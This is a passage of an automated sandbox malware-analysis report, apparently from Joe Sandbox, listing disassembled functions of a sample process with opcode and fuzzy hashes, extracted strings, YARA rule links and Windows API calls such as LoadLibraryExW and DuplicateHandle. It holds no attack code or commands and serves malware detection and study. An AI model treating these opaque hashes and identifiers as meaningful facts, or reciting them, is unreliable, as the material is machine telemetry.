Instruction Fuzzy Hash: 4E02B270B1021A8FDB54DF64D590AAEB7E2FF84304F148529E80ADB395DB39ED46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06235568 Relevance: 1.8, Strings: 1, Instructions: 592COMMON

Download Yara Rule

Strings

$, xrefs: 062358E2

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 578082088a687a691ed8db84d8d98e36c83c079752bd575f2fdf87599222c694
Instruction ID: 028d136b9b6361cce86881347ae97b5bf4603319eba734d960101b5fbd081918
Opcode Fuzzy Hash: 578082088a687a691ed8db84d8d98e36c83c079752bd575f2fdf87599222c694
Instruction Fuzzy Hash: 292291B1E2022A8FDB64DFA4C4806AEB7F2EF84314F148469D909BB355DB35DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06232330 Relevance: 1.0, Instructions: 1017COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81d38fc13065ba79ccd2629b44b7700dc4fd3bfb0fae766e354a515fc104e78b
Instruction ID: 1bd0fffcaa172d073cd5216777f1afa2164f8ee6bc26adff696ad373a84bf12e
Opcode Fuzzy Hash: 81d38fc13065ba79ccd2629b44b7700dc4fd3bfb0fae766e354a515fc104e78b
Instruction Fuzzy Hash: 48926574A11215CFCB64CF68C584AADB7F2FF49314F5484AAD849AB365DB34EE81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 062365A8 Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467fad5a39b31df5d88ab0559215090d6bc2c687355e7df758cf735fe516e4ca
Instruction ID: 33f33eac7911566d5276229565cf041ce2202d55eb1746cd501bc60c94b0e755
Opcode Fuzzy Hash: 467fad5a39b31df5d88ab0559215090d6bc2c687355e7df758cf735fe516e4ca
Instruction Fuzzy Hash: 7962AF74B20215AFDB64DF68D544AADB7F6EF88310F148429E806EB395DB35EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0623C150 Relevance: .6, Instructions: 640COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413ca7b91f1809d118c22477886ac7a154415af32cf13fc48f8ceacc9d744aa5
Instruction ID: 364de39794d14ebbd354ef22e7f7b46dc6738cba3593ad0cd277b6b6ce672773
Opcode Fuzzy Hash: 413ca7b91f1809d118c22477886ac7a154415af32cf13fc48f8ceacc9d744aa5
Instruction Fuzzy Hash: C032A270B102198FDB54DF68D990AAEBBB6FF88310F108525D906EB359CB35EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0623B1E8 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2df1573490dbf06528568400a0aba40c6f7a64aac3d8729a150f0b3dd9c977b
Instruction ID: 82b62e9d5579ccb23538100b1d5963332221acd90afc46ae4d298825906e9776
Opcode Fuzzy Hash: b2df1573490dbf06528568400a0aba40c6f7a64aac3d8729a150f0b3dd9c977b
Instruction Fuzzy Hash: B02282B0E2021A8FDF64CF68D5907ADB7B6EB55311F208826E849DB395CB34DC85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0623AC90 Relevance: 10.4, Strings: 8, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0623AE68
$]q, xrefs: 0623AE33
$]q, xrefs: 0623AE10
$]q, xrefs: 0623AE04
$]q, xrefs: 0623AE3F
$]q, xrefs: 0623AE5C
$]q, xrefs: 0623ADB1
$]q, xrefs: 0623ADBD

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: ddf514ddf8056eb3055d7d0f872dacd7dad5d99ac116505338f2bddcf4601b15
Instruction ID: 6aae9074e801e1a68f453fdd8b4acf135263a5d89f61561fe6abf21625d1d510
Opcode Fuzzy Hash: ddf514ddf8056eb3055d7d0f872dacd7dad5d99ac116505338f2bddcf4601b15
Instruction Fuzzy Hash: E5E18170E2031A8FDB69DF68D490AAEB7B6EF85300F108939D8499B354DB75DC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0623B618 Relevance: 8.0, Strings: 6, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0623BB9D
$]q, xrefs: 0623BBDD
$]q, xrefs: 0623BB69
$]q, xrefs: 0623BBA9
$]q, xrefs: 0623BBD1
$]q, xrefs: 0623BB75

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 87f26fd4111f9f32564dd89d734d256fe668431aa01c633db7d53043e339bc5f
Instruction ID: aed14f125ddaa7a6da747879a8f92df57931196764fc58f0d9c4a1fcb8d83ad6
Opcode Fuzzy Hash: 87f26fd4111f9f32564dd89d734d256fe668431aa01c633db7d53043e339bc5f
Instruction Fuzzy Hash: E0028EB0E2022A8FDBA4CF68D580AADB7B2FF55311F10892AD849DB355DB34DD45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06222E03 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06222E86
GetCurrentThread.KERNEL32 ref: 06222EC3
GetCurrentProcess.KERNEL32 ref: 06222F00
GetCurrentThreadId.KERNEL32 ref: 06222F59

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5185c64868815b306c8e714cf0e60f87dd6c26d34f1775b7527f9beba205aaf9
Instruction ID: 3278840c1a04c9cc8a85caa1f78ef8a0af666836e0ad5751741e29e95f8e2884
Opcode Fuzzy Hash: 5185c64868815b306c8e714cf0e60f87dd6c26d34f1775b7527f9beba205aaf9
Instruction Fuzzy Hash: BE5156B091130ACFDB54DFA9D548BAEBBF1EF48310F208459E519A7260C7395A84CF65

Uniqueness

Uniqueness Score: -1.00%

Function 06222E08 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06222E86
GetCurrentThread.KERNEL32 ref: 06222EC3
GetCurrentProcess.KERNEL32 ref: 06222F00
GetCurrentThreadId.KERNEL32 ref: 06222F59

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3c56f8cc15c9a484f195c8c3ea4170a96316075dfd518ea7e8d27f97e71c449c
Instruction ID: 0ac9158547e27ddac1a74bd97465091fde150b348b748b33ce54ec872ff069dc
Opcode Fuzzy Hash: 3c56f8cc15c9a484f195c8c3ea4170a96316075dfd518ea7e8d27f97e71c449c
Instruction Fuzzy Hash: 025167B090130ACFDB54DFA9D548BAEBBF1EF48310F208459E419A7360C739AA44CF65

Uniqueness

Uniqueness Score: -1.00%

Function 06239110 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0623919E
$]q, xrefs: 06239157
$]q, xrefs: 06239163
$]q, xrefs: 06239192

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 58d8e4318a8d37f0f0204150757a8250d157e01ffa61ee2261917352830983df
Instruction ID: 521b8e505bde277d3ec686df3b2558cd05e7a028f04aa0b206d338dc22989b78
Opcode Fuzzy Hash: 58d8e4318a8d37f0f0204150757a8250d157e01ffa61ee2261917352830983df
Instruction Fuzzy Hash: FE913F70F1021A9FDB54DF65D990BAEB3F6AF85204F108565C80EEB348EB709D868B91

Uniqueness

Uniqueness Score: -1.00%

Function 0623CF00 Relevance: 4.6, Strings: 3, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0623D30B
$]q, xrefs: 0623D2FF
$]q, xrefs: 0623D2F7

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 0823a50a1a81dd352c3e5e8eac604019fc75d5255042ce274f2b478d11bb6f52
Instruction ID: c22271237048f9c7483c2d68323baa5e21cb6d911b69e894af227f0ab91b24d1
Opcode Fuzzy Hash: 0823a50a1a81dd352c3e5e8eac604019fc75d5255042ce274f2b478d11bb6f52
Instruction Fuzzy Hash: 89627F30A1021A8FCB65EF68D580E5DB7B6FF84304B208979D4099F369DB75ED4ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 06234B40 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Obq, xrefs: 06234D1B
fbq, xrefs: 06234B6B
XPbq, xrefs: 06234C91

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 41b4abb2c15287089dc2b4692254bd8a014e0e5c4d91105a557f2723475971b9
Instruction ID: 029e3387aa2b3ddda4bad904dbde0c28cd9af6dc0092bc58eed9a44dde68e016
Opcode Fuzzy Hash: 41b4abb2c15287089dc2b4692254bd8a014e0e5c4d91105a557f2723475971b9
Instruction Fuzzy Hash: C4619270F102199FEB549FA4C854BAEBBF6FF88300F20842AD50AAB395DF758D458B51

Uniqueness

Uniqueness Score: -1.00%

Function 0623910E Relevance: 2.7, Strings: 2, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06239157
$]q, xrefs: 06239192

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: c1db570959b14fa9a29e94545a4c84b3414fbe3ad61847e82fde26983b5a7579
Instruction ID: 11a903d3241436a1db8916db34eb203fb517b09610225559425e6c32db84cf1e
Opcode Fuzzy Hash: c1db570959b14fa9a29e94545a4c84b3414fbe3ad61847e82fde26983b5a7579
Instruction Fuzzy Hash: A5514F71F101169FDB94DB74D990BAE73F6AB89640F108469C80AEB398EF70DC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06234B30 Relevance: 2.6, Strings: 2, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06234B6B
XPbq, xrefs: 06234C91

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 5772e571913eda269fffa193cf9a063e4563de9a25acc92aab556e10c91738a5
Instruction ID: d4bf1ff0a6fd7fe98c8c44099163ca97028ec8183e6e9b9bc8f6adc6da42d340
Opcode Fuzzy Hash: 5772e571913eda269fffa193cf9a063e4563de9a25acc92aab556e10c91738a5
Instruction Fuzzy Hash: 42518070F102199FDB549FA4C854BAEBBF6FF88700F20852AD50AAB395DF758C058B91

Uniqueness

Uniqueness Score: -1.00%

Function 06234B68 Relevance: 2.6, Strings: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06234B6B
XPbq, xrefs: 06234C91

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: b839d52417dc971352f260475a005745d2648fdd52ace194c95a5d499c5eb0ed
Instruction ID: 5c03c5d589faa4fc6c1914ea1b1d997474830cf1b872827f7ab3cdddd3b91535
Opcode Fuzzy Hash: b839d52417dc971352f260475a005745d2648fdd52ace194c95a5d499c5eb0ed
Instruction Fuzzy Hash: 9F415E70F102199FDB549FA5C454BAEBAF6BF88700F20852AE50AAB395DF748D018B91

Uniqueness

Uniqueness Score: -1.00%

Function 0622B318 Relevance: 1.7, APIs: 1, Instructions: 206COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0622B57E

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c94d643d0ca751204848596de05682f351e143e66595026dde13481b3b380c39
Instruction ID: 7e0d9491bb2b6f4abcf3997fb58caee17883139ee5b7c90e05685e6ce34611d7
Opcode Fuzzy Hash: c94d643d0ca751204848596de05682f351e143e66595026dde13481b3b380c39
Instruction Fuzzy Hash: BB818B70A10B569FD764DF2AD49479ABBF1FF48304F008A2ED88AD7A50DB74E845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EC80 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3235720312.0000000000A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a30000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fae572f530ac65fd7235f862fbd81d2eb5aca49f35bd76937b4d97b8f33dd60
Instruction ID: 6767bae76fdcf2a7392b41763847ca8829c4acc8f6bcf75435fc10dcd7b37ef8
Opcode Fuzzy Hash: 3fae572f530ac65fd7235f862fbd81d2eb5aca49f35bd76937b4d97b8f33dd60
Instruction Fuzzy Hash: 92410472D043498FCB04DFA9D8142EEBBF1AF99310F14856AE504E7391EB789845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0622D504 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0622D622

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 94abf30a74041b983a609d55c48f079a48f4e793e46498d269157d3fcc0f4455
Instruction ID: c685b6bb9b35c809a259a88c7558a63521464187264c6ff8759a1e43a9a78fa8
Opcode Fuzzy Hash: 94abf30a74041b983a609d55c48f079a48f4e793e46498d269157d3fcc0f4455
Instruction Fuzzy Hash: E951E3B0C1035AAFDB14CF99D884ADEBFF5BF48310F64852AE818AB210D7759881CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0622D510 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0622D622

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d4cd6b8d8798397400d12bc67e129dc9d812c1299b6a93c621f3acb4dad74688
Instruction ID: 7fcedc5b72e12116649f312c643ba462dafde08936ad7c25ff0f91876f16ab25
Opcode Fuzzy Hash: d4cd6b8d8798397400d12bc67e129dc9d812c1299b6a93c621f3acb4dad74688
Instruction Fuzzy Hash: 6941E3B1C1035AEFDB14CF99D884ADEBBB5FF48300F24852AE818AB210D7749885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0622E49C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0622FD11

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: ecc0526e213dd2f69d559dc4844efc3298e000ee0b7e016d3ac9b2260f0914e6
Instruction ID: bbe7b3630f6ad2f06c22558509ac577707c95d2858d973feaaf4427fdbe53204
Opcode Fuzzy Hash: ecc0526e213dd2f69d559dc4844efc3298e000ee0b7e016d3ac9b2260f0914e6
Instruction Fuzzy Hash: 9F415CB4910316DFDB44CF99C548AAABBF5FF88310F24C859D919AB321D374A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06223048 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 062230D7

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: daeea724ebb1247f16e293dcb8d811a3308c7ea6aec0fc0cd792745a50b6e69f
Instruction ID: 8fe08f938522f5116dfb717d78c516c22f29d5635154537f1e23838d0078cfd6
Opcode Fuzzy Hash: daeea724ebb1247f16e293dcb8d811a3308c7ea6aec0fc0cd792745a50b6e69f
Instruction Fuzzy Hash: 9821E4B5D002599FDB10CFAAD984AEEBBF5FB48310F14801AE918A7350D379A950CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06223050 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 062230D7

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1ac224613ce8967c7812e8b9eb92cd02f7f1f21f4017a2b6cf250228b253b32e
Instruction ID: 3f4b3aca75ec7e06fff8f79ab1ffa50b42fd6db48b16fc14417a9bca83d6c101
Opcode Fuzzy Hash: 1ac224613ce8967c7812e8b9eb92cd02f7f1f21f4017a2b6cf250228b253b32e
Instruction Fuzzy Hash: AB21E6B5D002499FDB10CF9AD584ADEFBF4FB48310F14801AE918A3310C379A940CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0622B779 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0622B5F9,00000800,00000000,00000000), ref: 0622B7EA

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bbd7dc2cfad4e10d0b6869f1dd754d57619e0835923dd1c37afa185c6038239c
Instruction ID: 939cc77135c414f1e36c378b4472065ccdc9c2feeaaa750e7fb3db87421aff51
Opcode Fuzzy Hash: bbd7dc2cfad4e10d0b6869f1dd754d57619e0835923dd1c37afa185c6038239c
Instruction Fuzzy Hash: 482103B6C002499FDB10CFAAC444ADEFBF8EF49310F10842AE859A7200C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0622A2D0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0622B5F9,00000800,00000000,00000000), ref: 0622B7EA

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c1e22b746ede5aab647fe6803658729adba316df6e1e2955f0e4eace00dd4258
Instruction ID: 82b26bac087047510d1721adf2ca6f760d9d9ae35ba0c39dc97a7905e6f28fb6
Opcode Fuzzy Hash: c1e22b746ede5aab647fe6803658729adba316df6e1e2955f0e4eace00dd4258
Instruction Fuzzy Hash: 921117B6C003499FDB10CF9AC444A9EFBF4EB48314F10852AE919A7200C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A3ED68 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00A3EDCF

Memory Dump Source

Source File: 00000007.00000002.3235720312.0000000000A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a30000_daqfbrlrs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 4da4a12ef6b7f69b1004cd4111131e0023665594d9219e5ffc2f5ae22169afdc
Instruction ID: 84f978ce7a83740db9b0f2de64db87af481e4078b3b1d4b3214aad38a7416e7a
Opcode Fuzzy Hash: 4da4a12ef6b7f69b1004cd4111131e0023665594d9219e5ffc2f5ae22169afdc
Instruction Fuzzy Hash: 7711EFB1C0065A9BDB10DFAAC544A9EFBF4EF48320F14816AE818B7240D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0622B518 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0622B57E

Memory Dump Source

Source File: 00000007.00000002.3266152038.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6220000_daqfbrlrs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a003b0f733e20925f14dc09f3e89eaae906e03a9056824e0d77778ab1e0c140d
Instruction ID: 65aba9cd80c394c7af4f4d7c3a7111601bd41d34f3e0b9bb143942cc65726874
Opcode Fuzzy Hash: a003b0f733e20925f14dc09f3e89eaae906e03a9056824e0d77778ab1e0c140d
Instruction Fuzzy Hash: F8110FB5C0024A8FDB20CF9AC444A9EFBF4EF88314F14841AD828A7210D379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0623DA75 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0623DBD1

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 29229a937c93408f128ba380f5b7c3178b8535adb2986ccf0a77a7824a9deb39
Instruction ID: da8b733de743984b5f96c6920713e0b1e910c111ca8cf35b279ae4e64a7c0559
Opcode Fuzzy Hash: 29229a937c93408f128ba380f5b7c3178b8535adb2986ccf0a77a7824a9deb39
Instruction Fuzzy Hash: 8A41B0B0E2021A9FDB658F64C9506AEBBB6FF85300F104D2AD806EB254DB74D946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 062321A5 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

PH]q, xrefs: 062322F3

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 48b802fae48e85e8053b23f674ad80d4f793e908b82f26f3df2e60918806ac12
Instruction ID: 96d54d5dcc759436ef0f221a05352a6e7f8d632210ca2d5d34339f8783043618
Opcode Fuzzy Hash: 48b802fae48e85e8053b23f674ad80d4f793e908b82f26f3df2e60918806ac12
Instruction Fuzzy Hash: 07312330B20216DFCB599B74C95466E3BE7AF89200F148469D806DB396DF35CE46C791

Uniqueness

Uniqueness Score: -1.00%

Function 062321B8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 062322F3

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 5d33bc7c249c8522922d04d6e7a612a2719d759c71363e205f3e14f04b5099df
Instruction ID: b1700828b49802a07430229ef46ca557ee46fc36f38743e3a8bf9927a8d126c8
Opcode Fuzzy Hash: 5d33bc7c249c8522922d04d6e7a612a2719d759c71363e205f3e14f04b5099df
Instruction Fuzzy Hash: 1C310F30B20216DFCB48AB74D91466E3AE7AF88200F208439D806DB39ADF35DE02C791

Uniqueness

Uniqueness Score: -1.00%

Function 06238287 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

$]q, xrefs: 062382AC

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 74d132c31b3ef091b6833222093c4be1afae600a637a7ccf8a95372d07cea875
Instruction ID: fa54d0334b1cc595af8a5024725706ed9e60d22a09ddb41e72762e8516c27c9e
Opcode Fuzzy Hash: 74d132c31b3ef091b6833222093c4be1afae600a637a7ccf8a95372d07cea875
Instruction Fuzzy Hash: 64F08271F24669CFDF649E94DA446EC7BB1EB00350F184462FD05AB664D339998AC740

Uniqueness

Uniqueness Score: -1.00%

Function 062361A8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
